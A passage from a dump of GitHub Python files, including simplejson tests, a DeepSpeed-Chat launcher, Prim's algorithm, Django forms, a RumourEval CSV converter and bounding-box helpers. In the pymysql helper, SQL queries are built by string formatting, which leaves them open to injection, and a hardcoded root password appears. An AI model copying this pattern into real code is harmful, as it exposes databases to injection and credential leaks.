1))\n\n","repo_name":"sillycross/indigo-trainer","sub_path":"run_one_iteration.py","file_name":"run_one_iteration.py","file_ext":"py","file_size_in_byte":6750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"28573715624","text":"import sys\nimport unittest\nfrom unittest import TestCase\n\nfrom simplejson import encoder, scanner\n\n\ndef has_speedups():\n    return encoder.c_make_encoder is not None\n\n\ndef skip_if_speedups_missing(func):\n    def wrapper(*args, **kwargs):\n        if not has_speedups():\n            if hasattr(unittest, 'SkipTest'):\n                raise unittest.SkipTest(\"C Extension not available\")\n            else:\n                sys.stdout.write(\"C Extension not available\")\n                return\n        return func(*args, **kwargs)\n\n    return wrapper\n\n\nclass TestDecode(TestCase):\n    @skip_if_speedups_missing\n    def test_make_scanner(self):\n        self.assertRaises(AttributeError, scanner.c_make_scanner, 1)\n\n    @skip_if_speedups_missing\n    def test_make_encoder(self):\n        self.assertRaises(\n            TypeError,\n            encoder.c_make_encoder,\n            None,\n            (\"\\xCD\\x7D\\x3D\\x4E\\x12\\x4C\\xF9\\x79\\xD7\"\n             \"\\x52\\xBA\\x82\\xF2\\x27\\x4A\\x7D\\xA0\\xCA\\x75\"),\n            None\n        )\n","repo_name":"ryfeus/lambda-packs","sub_path":"Selenium_PhantomJS/source/simplejson/tests/test_speedups.py","file_name":"test_speedups.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":1104,"dataset":"github-code","pt":"22"}
+{"seq_id":"23974714265","text":"import pymysql\n\n\nclass SQLdb:\n    def __init__(self):\n        self.dataBase = pymysql.connect(host=\"localhost\", port=3306, user=\"root\", password=\"150492\", db=\"test\")\n        self.cursor = self.dataBase.cursor()\n\n\n    def insert(self, table, id, name, cost):\n        query = \"INSERT INTO %s(id,name,cost) VALUES(%d,\\\"%s\\\",\\\"%s\\\")\" % (table, id, name, cost)\n        try:\n            self.cursor.execute(query)\n            self.dataBase.commit()\n\n        except Exception:\n            print(Exception)\n            self.dataBase.rollback()\n\n        finally:\n            self.dataBase.close()\n\n    def update(self, table, id, column, newValue):\n        query = \"UPDATE %s SET %s = %s WHERE id = %d\" % (table, column, newValue, id)\n        try:\n            self.cursor.execute(query)\n            self.dataBase.commit()\n\n        except Exception:\n            print(Exception)\n            self.dataBase.rollback()\n\n        finally:\n            self.dataBase.close()\n\n    def delete(self, table, column, key):\n        query = \"DELETE FROM %s WHERE %s = \\\"%s\\\"\" % (table, column, key)\n        try:\n            self.cursor.execute(query)\n            self.dataBase.commit()\n\n        except Exception:\n            print(Exception)\n            self.dataBase.rollback()\n\n        finally:\n            self.dataBase.close()\n\ndb = SQLdb()\ndb.delete('items', 'id', '7777')\n\n\n","repo_name":"idoFinder/Festivow_4","sub_path":"SQLdb.py","file_name":"SQLdb.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"40361779830","text":"import argparse\nimport warnings\nimport subprocess\nimport os\nimport datetime\nimport time\n\nstep_dirs = {\n    1: \"training/step1_supervised_finetuning\",\n    2: \"training/step2_reward_model_finetuning\",\n    3: \"training/step3_rlhf_finetuning\",\n}\nmodel_type = {1: \"actor\", 2: \"reward\", 3: \"step3\"}\ndse_url = \"https://github.com/microsoft/DeepSpeedExamples/tree/master/applications/DeepSpeed-Chat/\"\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \"--step\",\n        type=int,\n        nargs=\"+\",\n        choices=(1, 2, 3),\n        default=(1, 2, 3),\n        help=\"Which steps of the ChatGPT example to run\",\n    )\n    parser.add_argument(\n        \"--actor-model\",\n        type=lambda x: x.replace(\"facebook/opt-\", \"\"),\n        default=\"1.3b\",\n        choices=(\"1.3b\", \"6.7b\", \"13b\", \"66b\"),\n        help=\"Which facebook/opt-* model to use for Actor (step 1)\",\n    )\n    parser.add_argument(\n        \"--reward-model\",\n        type=lambda x: x.replace(\"facebook/opt-\", \"\"),\n        default=\"350m\",\n        choices=(\"350m\"),\n        help=\"Which facebook/opt-* model to use for Reward (step 2)\",\n    )\n    parser.add_argument(\n        \"--actor-zero-stage\",\n        type=str,\n        default=\"\",\n        choices=(\"\", \"0\", \"1\", \"2\", \"3\"),\n        help=\"ZeRO stage for step 1 (Actor) training\",\n    )\n    parser.add_argument(\n        \"--reward-zero-stage\",\n        type=str,\n        default=\"\",\n        choices=(\"\", \"0\", \"1\", \"2\", \"3\"),\n        help=\"ZeRO stage for step 2 (Critic) training\",\n    )\n    parser.add_argument(\n        \"--output-dir\",\n        type=lambda x: os.path.abspath(x),\n        default=\"./output\",\n        help=\"Directory for output of each step\",\n    )\n    parser.add_argument(\n        \"--deployment-type\",\n        type=str,\n        default=\"single_gpu\",\n        choices=(\"single_gpu\", \"single_node\", \"multi_node\"),\n        help=\"Number of GPUs to run the actor/reward models on\",\n    )\n    args = parser.parse_args()\n\n    if args.actor_zero_stage != \"\" or args.reward_zero_stage != \"\":\n        warnings.warn(\n            \"Non-default zero stages may result in OOM errors or worse performance.\"\n        )\n\n    return args\n\n\ndef get_model_size(args, step_num):\n    if step_num == 3:\n        return get_model_size(args, 1)\n    return getattr(args, f\"{model_type[step_num]}_model\")\n\n\ndef get_zero_stage(args, step_num):\n    return getattr(args, f\"{model_type[step_num]}_zero_stage\")\n\n\ndef get_output_dir(args, step_num):\n    model_size = get_model_size(args, step_num)\n    output_dir = os.path.join(args.output_dir,\n                              f\"{model_type[step_num]}-models\",\n                              f\"{model_size}\")\n    return output_dir\n\n\ndef get_script(args, step_num):\n    model_size = get_model_size(args, step_num)\n    script = os.path.join(\n        os.getcwd(),\n        step_dirs[step_num],\n        \"training_scripts/opt/\",\n        args.deployment_type,\n        f\"run_{model_size}.sh\",\n    )\n    assert os.path.isfile(\n        script\n    ), f\"{script} does not exist.\\n\\n Use examples in {os.path.dirname(script)} as a template.\"\n\n    return script\n\n\ndef verify_model(args, step_num):\n    output_dir = get_output_dir(args, step_num)\n    model_size = get_model_size(args, step_num)\n    model_file = os.path.join(output_dir, \"pytorch_model.bin\")\n    if not os.path.isfile(model_file):\n        error_str = f\"Step {step_num} model has not been trained. Train it with:\\n\"\n        error_str += f\"python3 train.py --step {step_num}\"\n        error_str += f\" --{model_type[step_num]}-model {model_size}\"\n        raise RuntimeError(error_str)\n\n\ndef get_cmd(args, step_num):\n    output_dir = get_output_dir(args, step_num)\n    script = get_script(args, step_num)\n\n    if step_num in (1, 2):\n        zero_stage = get_zero_stage(args, step_num)\n        cmd = f\"bash {script} {output_dir} {zero_stage}\"\n    if step_num == 3:\n        verify_model(args, 1)  # Verify step 1 model exists\n        verify_model(args, 2)  # Verify step 2 model exists\n        s1_dir, s1_zs = get_output_dir(args, 1), get_zero_stage(args, 1)\n        s2_dir, s2_zs = get_output_dir(args, 2), get_zero_stage(args, 2)\n        cmd = f\"bash {script} {s1_dir} {s2_dir} '{s1_zs}' '{s2_zs}' {output_dir}\"\n\n    return cmd\n\n\ndef launch_cmd(args, step_num, cmd):\n    working_dir = step_dirs[step_num]\n    print(f\"Running:\\n{cmd}\")\n    p = subprocess.Popen(cmd, cwd=working_dir, shell=True)\n    p.wait()\n    if p.returncode != 0:\n        raise RuntimeError('\\n\\n'.join((\n            f\"Step {step_num} exited with non-zero status {p.returncode}\",\n            f\"Launch command: {cmd}\",\n            f\"Log output: {os.path.join(get_output_dir(args, step_num), 'training.log')}\",\n            f\"Please see our tutorial at {dse_url}{step_dirs[step_num]}\",\n            \"Please check that you have installed our requirements: `pip install -r requirements.txt`\",\n            f\"If you are seeing an OOM error, try modifying {get_script(args, step_num)}:\",\n            \"  - Reduce `--per_device_*_batch_size`\",\n            \"  - Increase `--zero_stage {0,1,2,3}` on multi-gpu setups\",\n            \"  - Enable `--gradient_checkpointing` or `--only_optimize_lora`\"\n        )))\n\n\ndef main(args):\n    start_time = time.time()\n    for step_num in args.step:\n        print(f\"---=== Running Step {step_num} ===---\")\n        step_start_time = time.time()\n\n        cmd = get_cmd(args, step_num)\n        launch_cmd(args, step_num, cmd)\n\n        step_time = int(time.time() - start_time)\n        time_str = str(datetime.timedelta(seconds=step_time))\n        print(f\"---=== Finished Step {step_num} in {time_str} ===---\")\n\n    total_time = int(time.time() - start_time)\n    time_str = str(datetime.timedelta(seconds=total_time))\n\n    if len(args.step) > 1:\n        print(f\"---=== Finished Steps {args.step} in {time_str} ===---\")\n\n\nif __name__ == \"__main__\":\n    args = parse_args()\n    main(args)\n","repo_name":"microsoft/DeepSpeedExamples","sub_path":"applications/DeepSpeed-Chat/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5888,"program_lang":"python","lang":"en","doc_type":"code","stars":5145,"dataset":"github-code","pt":"22"}
+{"seq_id":"16127693742","text":"from random import seed\nfrom random import choice\nfrom random import randint\nfrom string import ascii_letters\nseed(1258847)\n\na = []\n\ndef random_string_generator():\n    r = \"\"\n    my_str = \"\"\n    for e in range(1,3):\n        my_str += choice(ascii_letters).lower()\n    for o in range(randint(1,15)):\n        idx = randint(1,len(my_str) - 1)\n        r += choice(my_str)\n    return r\n\n\nfor e in range(19075):\n    v = random_string_generator()\n    m = message_optimizer(v)\n    a.append(m)\n","repo_name":"projeto-exercicios/Exercicios-Python-de-correccao-automatica","sub_path":"03_Implementacao/DataBase/true_or_false_question_message_optimizer/question/version_2/program2.py","file_name":"program2.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"36175424293","text":"import matplotlib.pyplot as plt\nfrom datetime import datetime\nfrom scipy.ndimage.filters import gaussian_filter1d, gaussian_filter\nfrom scipy import interpolate\nimport numpy as np\nfrom matplotlib.animation import FuncAnimation, PillowWriter\n\nf = open('data/nvwater.txt','r')\nlines = f.readlines()\n\n#print(\"----------------------------------------------------------\")\n\ncodesRaw=lines[12786:12958]\ncodesDict={\"fields\":{}}\n\nformat=lines[12959][:-2].split(\"\\t\")\nhuh=lines[12960][:-2].split(\"\\t\")\ndata=lines[12961:278769]\n\n#print(format)\n#print(data[0][:-2].split(\"\\t\"))\n\n#print(\"++++++++++++++++++++++++++++++++++++++++++++++++++++\")\n\nkey1 = \"fields\"\n\nfor el in codesRaw:\n    status=el[2:-2].split()\n    if len(status)==0:\n        continue\n    elif status[0]==\"Referenced\":\n        for elf in status[1:]:\n            if elf[0]==\"(\":\n                key1=elf[1:-1]##search for key in ()\n                codesDict[key1]={}\n        #print(key1)\n    else:\n        key2=status[0]\n        phrase=\"\"\n        for a in status[1:]:\n            phrase=phrase+\" \"+a\n        codesDict[key1][key2]=phrase[1:]\n\n#print(codesDict[\"lev_acy_cd\"])\n\n#print(\"###########################################\")\n\nf2 = open('data/gwsites.txt','r')\nlines2 = f2.readlines()\n\nnames=lines2[12:24]\ntitles=lines2[32]\nsitesRaw=lines2[34:]\n\n\n\n#rint(titles)\n\nsiteDict={}\n\nfor name in names:\n    key=name.split()[1]\n    phrase=\"\"\n    for a in name.split()[3:]:\n        phrase=phrase+\" \"+a\n    siteDict[key]=phrase[1:]\n\nsites={}\n\nfor site in sitesRaw:\n    sp=site.split(\"\\t\")\n    id=sp[0]\n    sites[id]={\"data\":{}}\n    for i in range(12):\n        key=titles.split()[i+1]\n        if key!=\"coord_acy_cd'\" and key!=\"dec_coord_datum_cd\" and key!=\"alt_datum_cd\" and key!=\"alt_acy_va\":\n            if key==\"gw_count_nu\":\n                sites[id][key]=sp[i+1][:-1]\n            else:\n                sites[id][key]=sp[i+1]\n    if int(sites[id][\"gw_count_nu\"])>2000:\n        print(id)\n        \n\n\n#print(sites['331923114513301'])\n\ndates=[]\ncount=[]\nidn='360349115100001'\nfor pt in data:\n    dat=pt[:-2].split(\"\\t\")\n    if dat[1]==idn:\n        dates.append(datetime.fromisoformat(dat[3]).timestamp()/31536000+1970)\n        count.append(-1*float(dat[6]))\ny = gaussian_filter1d(count, sigma=2)\n#plt.plot(dates,y)\n#plt.show()\n\ndef isNumber(s):\n    try:\n        float(s) # for int, long and float\n    except ValueError:\n        return False\n    return True\n\n\nx2=[]\ny2=[]\n\nfor site in sitesRaw:\n    sp=site.split(\"\\t\")\n    id=sp[0]\n    \n    lon=sites[id][\"dec_lat_va\"]\n    lat=sites[id][\"dec_long_va\"]\n    \n    if isNumber(lon) and isNumber(lat) and int(sites[id][\"gw_count_nu\"]):\n        lon=float(lon)\n        lat=float(lat)\n        \n        x2.append(lat)\n        y2.append(lon)\n    \n#plt.scatter(y2,x2)#,alpha=0.1)\n#plt.show()\n\n#985,722,613\ntimeData=np.zeros((90,722,613))\nref=np.zeros((90,722,613))\n\nfor pt in data:\n    dat=pt[:-2].split(\"\\t\")\n    id=dat[1]\n    \n    #print(dat[1]==idn)\n    if isNumber(dat[6]):\n        val=float(dat[6])\n        if len(dat[3])==7:\n            dat[3]+=\"-01\"\n        if len(dat[3])==4:\n            dat[3]+=\"-01-01\"\n        sites[id][\"data\"][dat[3]]=val\n        #month=(int(dat[3][:4])-1938)*12+int(dat[3][5:7])\n        year=int(dat[3][:4])-1938\n        lon=sites[id][\"dec_lat_va\"]\n        lat=sites[id][\"dec_long_va\"]\n        if isNumber(lon) and isNumber(lat) and int(sites[id][\"gw_count_nu\"]):\n            lon=(float(lon)-34.8)*100\n            lat=(float(lat)+120.17)*100\n            num=ref[year,int(lon),int(lat)]\n            timeData[year,int(lon),int(lat)]=(num*timeData[year,int(lon),int(lat)]+val)/(num+1)\n            ref[year,int(lon),int(lat)]+=1\n\nfig = plt.figure()\nax = plt.axes()  \n\nplt.title('Water Visualization')\n\n#z = timeData[50,:,:]\n#z = np.flip(np.flip(gaussian_filter(timeData[500,:,:],sigma=6)),1)\n#cont = plt.imshow(z)\n\nco=0\nfor i in range(timeData.shape[1]):\n    for j in range(timeData.shape[2]):\n        con=0\n        for k in range(timeData.shape[0]):\n            if timeData[k,i,j]!=0:\n                con+=1\n        if con>3:\n            co+=1\n    print(i,end='\\r')\nprint(co)\n\n##baseline\n#for i in range(timeData.size)\n\n\n\nplt.show()\n\n# Animation function\n#def animate(i): \n#    z = gaussian_filter(timeData[i,:,:],sigma=3)\n#    #z = data[:,:,i]\n#    cont = plt.imshow(z)\n#    \n#    print(i,end='\\r')\n#    return cont  \n\n#anim = FuncAnimation(fig, animate, frames=timeData.shape[0])\n#anim.save('basic_animation.gif', writer=PillowWriter(fps=24))\n\n#plt.show()\n\n\n\n#np.save('timeData',timeData)\n\n#a=[]\n#dataPts=np.array([2,3,4])\n#for k in range(938):\n#    count=0    \n#    for i in range(720):\n#        for j in range(613):\n#            if 0!=timeData[k,i,j]:\n#                count+=1\n            #np.append(dataPts,[k/12+1938,timeData[k,i,j]])\n#    a.append(count)\n#    if k%10==0:\n#        print(k/10, end='\\r')\n#plt.plot(gaussian_filter1d(a, sigma=3))\n#plt.show()   \n    \n\n\n\n#for site in sitesRaw:\n#    sp=site.split(\"\\t\")\n#    idn=sp[0]\n#    arr=np.array([])\n#    if int(sites[idn][\"gw_count_nu\"])>200:      \n      \n       # np.append(arr,[datetime.fromisoformat(dat[3]).timestamp()/31536000+1970,float(dat[6])])\n                \n        #y = gaussian_filter1d(lev, sigma=2)\n        #plt.plot(dates,y)\n        #plt.show()\n\n\n#print(sites['393309118515901'])     \n\n\ndef isNumber(s):\n    try:\n        float(s) # for int, long and float\n    except ValueError:\n        try:\n            complex(s) # for complex\n        except ValueError:\n            return False\n\n    return True","repo_name":"benckeller/watervision","sub_path":"dataProcessing/waterVis.py","file_name":"waterVis.py","file_ext":"py","file_size_in_byte":5481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"6401847931","text":"from math import inf\n\ndef Prim(G,s):\n    N = len(G)\n    G.sort()\n    maxx = max(max(G))\n    n = maxx +1\n    W = [inf for _ in range(n)]\n    Parent = [None for _ in range(n)]\n    Przetworzone = [False for _ in range(n)]\n    W[s]=0\n    Przetworzone[s] = True\n\n    for i in range(len(Przetworzone)):\n        for v in range(N):\n            if G[v][0] == s:\n                break\n        cp = v\n        while v < N and G[v][0] == s:\n            w = v\n            while w < N and G[w][0]==s:\n                if Przetworzone[G[w][1]] == False and W[G[w][1]] > G[w][2]:\n                    W[G[w][1]]=G[w][2]\n                w+=1\n            v+=1\n        minn = inf\n        while cp < N and G[cp][0] == s:\n            if Przetworzone[G[cp][1]] == False and W[G[cp][1]]<minn:\n                minn=W[G[cp][1]]\n                tmp = G[cp][1]\n            cp+=1\n        s=tmp\n        Przetworzone[s]=True\n    sum = 0\n    for i in range(len(W)):\n        sum+=W[i]\n    return sum\n\ndef Prim2(G,start):\n    N = len(G)\n    maxx = max(max(G))\n    n = maxx + 1\n    W = [inf for _ in range(n)]\n    Przetworzone = [False for _ in range(n)]\n    Parent = [None for _ in range(n)]\n    W[start] = 0\n    Przetworzone[start] = True\n    for i in range(n):\n        minn = inf\n        for u in range(N):\n            if Przetworzone[G[u][0]] == True and Przetworzone[G[u][1]] == False and G[u][2] < minn:\n                minn = G[u][2]\n                minn_ind = u\n        u = minn_ind\n        Przetworzone[G[u][1]]=True\n        W[G[u][1]]=G[u][2]\n        Parent[G[u][1]]=G[u][0]\n\n    return Parent\n\n\n\nG = [[0,1,1], [0,2,3],[1,0,1],[1,3,2],[1,4,4],[2,0,3],[2,3,1],[2,4,2],[3,1,2],[3,2,1],[3,5,1],[4,1,4],[4,2,2],[4,5,3],[5,4,3],[5,3,1]]\nprint(Prim2(G,0))","repo_name":"matuszsmig/algorithms-and-data-structures","sub_path":"blok3/PrimMST.py","file_name":"PrimMST.py","file_ext":"py","file_size_in_byte":1722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"20575258868","text":"import random\nfrom typing import Callable, List, Tuple, Any\n\nimport pandas as pd\n\nfrom multi_modal_edge_ai.commons.string_label_encoder import StringLabelEncoder\nfrom multi_modal_edge_ai.models.adl_inference.preprocessing.window_splitter import split_into_windows\nfrom multi_modal_edge_ai.commons.model import Model\n\nfrom sklearn.metrics import confusion_matrix\n\n\ndef split_and_validate(data: pd.DataFrame, ground_truth: pd.DataFrame, labels: list[str],\n                       label_encoder: StringLabelEncoder,\n                       default_activity: int, model: Model, model_hyperparams: dict | None = None,\n                       window_length_seconds: int = 60, window_slide_seconds: int | None = None,\n                       split_method: Callable[[List], Tuple[List, List]] | None = None) -> tuple[float, Any]:\n    \"\"\"\n    Full validation process of a model for dataset with a ground truth, with custom splitting method,\n    returns the percentage predicted correctly and a confusion matrix\n    :param label_encoder: encoder for labels\n    :param labels: list of labels\n    :param default_activity: int representing encoded default activity\n    :param data: pd.Dataframe with 'Start_Time', 'End_Time', 'Sensor' columns\n    :param ground_truth: pd.Dataframe with 'Start_Time', 'End_Time', 'Activity' columns\n    :param model: implementation of abstract commons.Model class\n    :param model_hyperparams: a dictionary of hyperparams for the model train function\n    :param window_length_seconds: length of window for windowing of data\n    :param window_slide_seconds: how much time inbetween each window in seconds\n    :param split_method: any method that takes a list and returns a train, test split\n    :return the total average and a confusion matrix for the model\n    \"\"\"\n    # Window the data\n    windows = split_into_windows(data, ground_truth, default_activity, window_length_seconds,\n                                 window_slide_seconds)\n    # Split the windows into train and test\n    if split_method is not None:\n        train, test = split_method(windows)\n    else:  # Use default 60/40 split\n        random.shuffle(windows)\n        split_index = int(len(windows) * 0.6)\n\n        train = windows[:split_index]\n        test = windows[split_index:]\n\n    return validate(train, test, model, labels, label_encoder, model_hyperparams)\n\n\ndef validate(train: list[tuple[pd.DataFrame, int, pd.Timestamp, pd.Timestamp]],\n             test: list[tuple[pd.DataFrame, int, pd.Timestamp, pd.Timestamp]],\n             model: Model, labels: list[str], label_encoder: StringLabelEncoder,\n             model_hyperparams: dict | None = None) -> tuple[float, Any]:\n    \"\"\"\n    Validates a given model using a train and test list of windows, returns the percentage predicted\n    correctly and a confusion matrix\n    :param label_encoder: encoder for labels\n    :param labels: list of labels\n    :param train: tuple from window_splitter\n    :param test:  tuple from window_splitter\n    :param model: implementation of abstract commons.Model class\n    :param model_hyperparams: a dictionary of hyperparams for the model train function\n    :return the total average and a confusion matrix for the model\n    \"\"\"\n    # Train the model\n    if model_hyperparams is None:\n        model_hyperparams = {}\n    model.train(train, **model_hyperparams)\n\n    # Predict activities for test data using model\n    score = 0\n    y_pred = []\n    y_true = []\n    for window in test:\n        truth_value = window[1]\n        prediction = model.predict(window[0])  # Assumes output of predict will be a string activity\n        y_pred.append(prediction)\n        y_true.append(truth_value)\n        # print('Predicted: ' + str(prediction))\n        # print('for actual: ' + str(truth_value))\n        if truth_value == prediction:\n            score += 1\n    average = score / len(test)\n    # labels = ['Sleeping', 'Meal_Preparation', 'Kitchen_Usage', 'Bathroom_Usage', 'Idle', 'Relax',\n    #           'Outside']\n    # print(len(y_true))\n    dy_true = [label_encoder.decode_label(y) for y in y_true]\n    dy_pred = [label_encoder.decode_label(y) for y in y_pred]\n    # print(len(y_pred))\n    cm = confusion_matrix(dy_true, dy_pred, labels=labels, normalize='true')\n    return average, cm\n","repo_name":"R3c5/Multi-Modal-Edge-AI","sub_path":"multi_modal_edge_ai/models/adl_inference/validating/validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":4253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"32533740121","text":"print(\"Bienvenidos a AEROMATIC\")\n\ni = 0\ncontinuar = True\n\nwhile continuar:\n    print(\"CUADRADO\", i)\n    l = int(input(\"Lado? \"))\n\n    if l == -1:\n        continuar = False\n    else:\n        a = l*l\n        print(\"Area\", a)\n        i += 1\n\nprint(\"Gracias por usar AEROMATIC\")\n\n\n","repo_name":"jorgedg6/material-computacion","sub_path":"INTRO A PYTHON/Codigos/4. Iteraciones/areomatic32.py","file_name":"areomatic32.py","file_ext":"py","file_size_in_byte":277,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"5816452906","text":"from django import forms\nfrom django.contrib.auth.models import User\nfrom . import models\nclass comment_form(forms.Form):\n    comment=forms.CharField(required = True,max_length=400,widget=forms.Textarea\n     (attrs={'class':'form-control ',\n\t\t\t\t   'id':'exampleFormControlTextarea1','rows':'1'}))\n\nclass note_form(forms.Form):\n    note=forms.CharField(required = False,max_length=400,widget=forms.Textarea\n    (attrs={'class':'form-control ',\n                  'id':'exampleFormControlTextarea2','rows':'10'}))\n\n\nclass recipe_form(forms.ModelForm):\n    class Meta():\n        model = models.recipe\n        fields = ('cuisine_name','name','ingredients','method','time','image')\n        #exclude = ('cuisine_name')\n    #comment=forms.CharField(max_length=400)\nclass recipe_edit_form(forms.ModelForm):\n    class Meta():\n        model = models.recipe\n        fields = ('cuisine_name','name','ingredients','method','time')\n        #exclude = ('cuisine_name')\n    #comment=forms.CharField(max_length=400)\nclass search(forms.Form):\n    txtSearch=forms.CharField(max_length=400)\n","repo_name":"Mayank-Bhatt-450/cookbook","sub_path":"recipes/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"7804744880","text":"import json\nimport os\nimport csv\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf8')\nimport preprocessor as p\n\nwith open('rumoureval-2019-training-data/train-key.json') as json_file:\n    train_key = json.load(json_file)\n\nwith open('rumoureval-2019-training-data/dev-key.json') as json_file:\n    dev_key = json.load(json_file)\n\npath = \"rumoureval-2019-training-data/twitter-english\"\nmain_dir = os.listdir(path)\n\n\nlst_a = [\"support\", \"query\", \"deny\", \"comment\"]\nlst_b = [\"true\", \"false\", \"unverified\"]\n\nwith open('twitter_training_dataset.csv', 'a') as csvFile:\n    writer = csv.writer(csvFile)\n    header = ['type', 'id', 'text', 'favorite_count', 'retweet_count', 'label_a', 'label_b']\n    writer.writerow(header)\n\n    for dirs in main_dir:\n        print(10 * \"- - \", dirs, 10 * \"- - \")\n        dir = os.path.join(path, dirs)\n        sub_dir = os.listdir(dir)\n        for source_id in sub_dir:\n            source_tweet = os.path.join(dir, source_id, \"source-tweet\", source_id + \".json\")\n            with open(source_tweet) as json_file:\n                data = json.load(json_file)\n\n            task_a = \"\"\n            task_b = \"\"\n\n            for i in train_key['subtaskaenglish']:\n                if i==str(source_id):\n                    task_a = lst_a.index(train_key['subtaskaenglish'][i])\n\n            for i in train_key['subtaskbenglish']:\n                if i==str(source_id):\n                    task_b = lst_b.index(train_key['subtaskbenglish'][i])\n\n            if task_a==\"\":\n                for i in dev_key['subtaskaenglish']:\n                    if i == str(source_id):\n                        task_a = lst_a.index(dev_key['subtaskaenglish'][i])\n\n                for i in dev_key['subtaskbenglish']:\n                    if i == str(source_id):\n                        task_b = lst_b.index(dev_key['subtaskbenglish'][i])\n\n            row = [\"source\", str(data['id']), p.clean(str(data['text'])), data['favorite_count'], data['retweet_count'], task_a, task_b]\n            writer.writerow(row)\n\n            replies = os.path.join(dir, source_id, \"replies\")\n            replies_dir = os.listdir(replies)\n            \n            for reply in replies_dir:\n                tweet = os.path.join(replies, reply)\n                reply_id = str(reply)[:-5]\n\n                task_a = \"\"\n                task_b = \"\"\n\n                for i in train_key['subtaskaenglish']:\n                    if i==str(reply_id):\n                        task_a = lst_a.index(train_key['subtaskaenglish'][i])\n\n                if task_a==\"\":\n                    for i in dev_key['subtaskaenglish']:\n                        if i == str(reply_id):\n                            task_a = lst_a.index(dev_key['subtaskaenglish'][i])\n\n                with open(tweet) as json_file:\n                    data = json.load(json_file)\n                row = [\"reply\", str(data['id']), p.clean(str(data['text'])), data['favorite_count'], data['retweet_count'], task_a, task_b]\n                writer.writerow(row)\n","repo_name":"rajveerbeerda/RumourEval-2019","sub_path":"manipulating_dataset/twitter_training.py","file_name":"twitter_training.py","file_ext":"py","file_size_in_byte":2983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"17300756835","text":"\"\"\"\nThis file contains basic functionality for the handling of bounding boxes.\n\"\"\"\nimport numpy as np\n\nfrom skimage.morphology import convex_hull_image\n\n\ndef bbox_center(bbox):\n    \"\"\" Center of bounding box.\n\n    Parameters:\n    -----------\n    bbox: tuple (y0, x0, h, w)\n\n    Return:\n    -------\n    center: tuple (y, x)\n    \"\"\"\n    y, x, h, w = bbox\n    return int(y + h/2), int(x + w/2)\n\n\ndef coords_to_bbox(coords):\n    \"\"\" Bounding box of coords.\n\n    Parameters:\n    -----------\n    coords: numpy array (n, 2)\n      Coordinates.\n\n    Return:\n    -------\n    bbox: tuple (y0, x0, h, w)\n    \"\"\"\n    min_y, min_x, max_y, max_x = coords[0].min(), coords[1].min(), coords[0].max(), coords[1].max()\n    return min_y, min_x, max_y - min_y, max_x - min_x\n\n\ndef mask_to_bbox(mask, label=None):\n    \"\"\" Bounding box of pixel mask.\n\n    Parameters:\n    -----------\n    mask: numpy array\n      Binary mask or label image.\n    label: int (optional)\n      Label if mask is label image.\n\n    Return:\n    -------\n    bbox: tuple (y0, x0, h, w)\n    \"\"\"\n    mask = mask if label is None else mask == label\n    coords = np.where(mask)\n    return coords_to_bbox(coords)\n\n\ndef coords_to_chull(coords, shape):\n    \"\"\" Convex hull of coords.\n\n    Parameters:\n    -----------\n    coords: numpy array (n, 2)\n      Coordinates.\n    shape: array like (2,)\n      Shape of image.\n\n    Return:\n    -------\n    matrix: numpy array with input shape\n    \"\"\"\n    matrix = np.zeros(shape[:2], dtype='uint8')\n    matrix[coords[:, 0], coords[:, 1]] = 1\n    return convex_hull_image(matrix)\n\n\ndef iou(bboxa, bboxb):\n    \"\"\" Intersection over union of bounding boxes bboxa and bboxb.\n\n    Parameters:\n    -----------\n    bboxa: tuple (y0, x0, h, w)\n    bboxb: tuple (y0, x0, h, w)\n\n    Return:\n    -------\n    iou: float\n      area(bboxa n bboxb)/area(bboxa u bboxb)\n    \"\"\"\n    yamin, xamin, ha, wa = bboxa\n    ybmin, xbmin, hb, wb = bboxb\n    yamax, xamax = yamin+ha, xamin+wa\n    ybmax, xbmax = ybmin+hb, xbmin+wb\n    xs, ys = max(xamin, xbmin), max(yamin, ybmin)\n    xe, ye = min(xamax, xbmax), min(yamax, ybmax)\n    areai = (xe-xs)*(ye-ys) if xe > xs and ye > ys else 0.0\n    areau = ha*wa + hb*wb - areai\n    return float(areai)/areau\n\n\ndef has_intersection(bboxa, bboxb):\n    \"\"\" Returns True if bboxa has an intersection with bboxb.\n\n    Parameters:\n    -----------\n    bboxa: tuple (y0, x0, h, w)\n    bboxb: tuple (y0, x0, h, w)\n\n    Return:\n    -------\n    iou: bool\n    \"\"\"\n    yamin, xamin, ha, wa = bboxa\n    ybmin, xbmin, hb, wb = bboxb\n    yamax, xamax = yamin+ha, xamin+wa\n    ybmax, xbmax = ybmin+hb, xbmin+wb\n    xs, ys = max(xamin, xbmin), max(yamin, ybmin)\n    xe, ye = min(xamax, xbmax), min(yamax, ybmax)\n    return xe > xs and ye > ys\n\n\ndef evaluate_object_category(ground_truth, prediction, min_iou=0.5):\n    \"\"\"\n\n    Parameters:\n    -----------\n    ground_truth: list of tuples (y0, x0, h, w) (bounding boxes)\n    prediction: list of tuples (y0, x0, h, w) (bounding boxes)\n    min_iou: float\n      Intersection over union must be greater than min_iou.\n\n    Return:\n    -------\n    (precision, recall, tp, fp) : float, float, int, int\n    \"\"\"\n    # edge cases\n    if len(prediction) == 0 and len(ground_truth) > 0:\n        return 0.0, 0.0, 0.0, 0.0\n    if len(prediction) == 0 and 